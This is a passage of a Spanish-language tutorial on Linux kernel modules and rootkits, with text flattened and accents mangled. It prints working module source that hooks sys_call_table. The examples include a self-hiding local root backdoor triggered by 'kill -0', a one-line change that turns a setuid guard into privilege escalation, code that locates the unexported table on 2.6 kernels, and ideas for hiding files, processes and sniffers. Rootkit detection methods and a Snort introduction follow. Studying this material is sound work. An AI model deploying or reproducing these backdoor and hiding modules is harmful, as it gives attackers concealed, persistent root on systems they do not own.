Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo
Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod
La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt
sigue listado 4
Kernel hacks y seguridad JMP
continuando listado 4
8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())
Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten
Kernel hacks y seguridad JMP
5- Protegiendo el UID 0
Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema
Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i
[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)
Kernel hacks y seguridad JMP
Insertamos el moacutedulo y probamos
root su linux linux$ su root linux$ tail varlogmessages
La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora
Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por
res=( hook_suid)(0)
hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes
En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)
Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no
Kernel hacks y seguridad JMP
6- Backdoor local para kernels 24x
Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo
En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente
linux$ kill -0 00000 (al hacer id vemos que ocurre)
por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto
Kernel hacks y seguridad JMP
backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)
En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas
$cat procksyms
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
